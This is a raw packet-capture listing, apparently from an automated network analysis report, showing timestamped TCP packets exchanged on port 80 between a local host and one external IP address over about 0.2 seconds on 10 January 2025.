Jan 10, 2025 19:06:18.721716881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721729040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.721735001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721746922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.721785069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.721839905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721853971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721869946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721885920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721896887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.721925020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.721965075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721982002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722053051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722074032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722089052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722104073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722119093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722132921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722148895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722191095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722206116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722248077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722285986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722302914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722332954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722374916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722388029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722402096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722418070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722429991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722434998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722451925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722466946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722487926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722493887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722615957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722630978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722644091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722654104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722662926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722678900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722685099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722696066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722714901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722714901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722757101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722863913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722877979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722893953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722907066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722909927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.722923994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.722943068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.723123074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.723135948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.723151922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.723165989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.723185062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.723234892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.723249912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.723264933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.723280907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.723287106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.723320961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.723335981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.747282982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.761096954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.763814926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.763838053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.763854027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.763880968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.763922930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.763930082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.763946056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.763961077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.763981104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764002085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764017105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764031887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764039993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764048100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764070988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764163971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764187098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764202118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764206886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764219999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764235020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764240980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764252901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764271975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764271975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764290094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764309883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764400005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764452934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764456034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764468908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764502048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764564037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764580011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764595032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764611959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764617920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764643908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764683962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764815092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764830112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764844894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764853001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764861107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764875889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764883995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764890909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764908075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764913082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.764925003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.764946938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765017986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765033007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765047073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765064001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765065908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765085936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765136003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765197992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765218973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765234947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765264988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765269995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765280008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765305042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765333891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765436888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765451908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765466928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765476942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765481949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765499115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765507936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765516996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765536070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.765645027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.765690088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.770035028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.770081043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.770092010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.770102978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.770116091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.770123005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.770152092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808063984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808110952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808129072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808141947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808146000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808152914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808172941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808176994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808191061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808201075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808202982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808214903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808229923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808233976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808240891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808253050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808289051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808295965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808301926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808327913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808348894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808356047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808393955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808412075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808478117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808490992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808516026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808521032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808558941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808588028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808650017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808662891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808685064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808706045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808720112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808747053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808823109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808862925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.808876038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808890104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808902025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.808923960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809031010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809043884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809056044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809071064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809086084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809195042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809206963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809225082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809247971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809261084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809272051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809277058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809286118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809324980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809406042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809417009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809428930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809441090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809442997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809453964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809461117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809489965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809536934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809551001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809601068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809705973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809726954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809739113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809765100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.809952974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809964895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809977055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809988022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.809998989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.810000896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.810014009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.810024977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.810028076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.810043097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.810065985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.810094118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.810110092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.810144901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.824363947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.831324100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846029997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846072912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846086979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846101046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846112967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846124887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846129894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846138000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846144915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846157074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846183062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846191883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846201897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846205950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846231937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846242905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846297026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846309900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846335888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846344948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846373081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846384048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846405029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846419096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846420050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846501112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846539021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846544981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846556902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846591949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846597910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846643925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846684933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846714020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846728086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846740007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846764088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846792936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846854925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846867085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846873999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846901894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846909046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.846956015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.846993923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847016096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847028017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847060919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847090960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847103119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847114086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847151995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847239971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847251892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847265005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847285986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847299099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847358942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847369909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847418070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847426891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847440004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847476959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847698927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847711086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847723007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847734928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847747087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847748995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847760916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847768068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847769976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847803116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847809076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.847815990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.847845078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.859380007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859395981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859406948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859416962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859426975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859436989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859447002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859447002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.859457970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859469891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.859497070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.859515905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.894861937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.894879103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.894891977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.894912004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.894922018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.894933939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.894944906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.894994020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.895024061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.895045996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.895046949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.895046949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.895090103 CET	80	49730	193.143.1.205	192.168.2.4
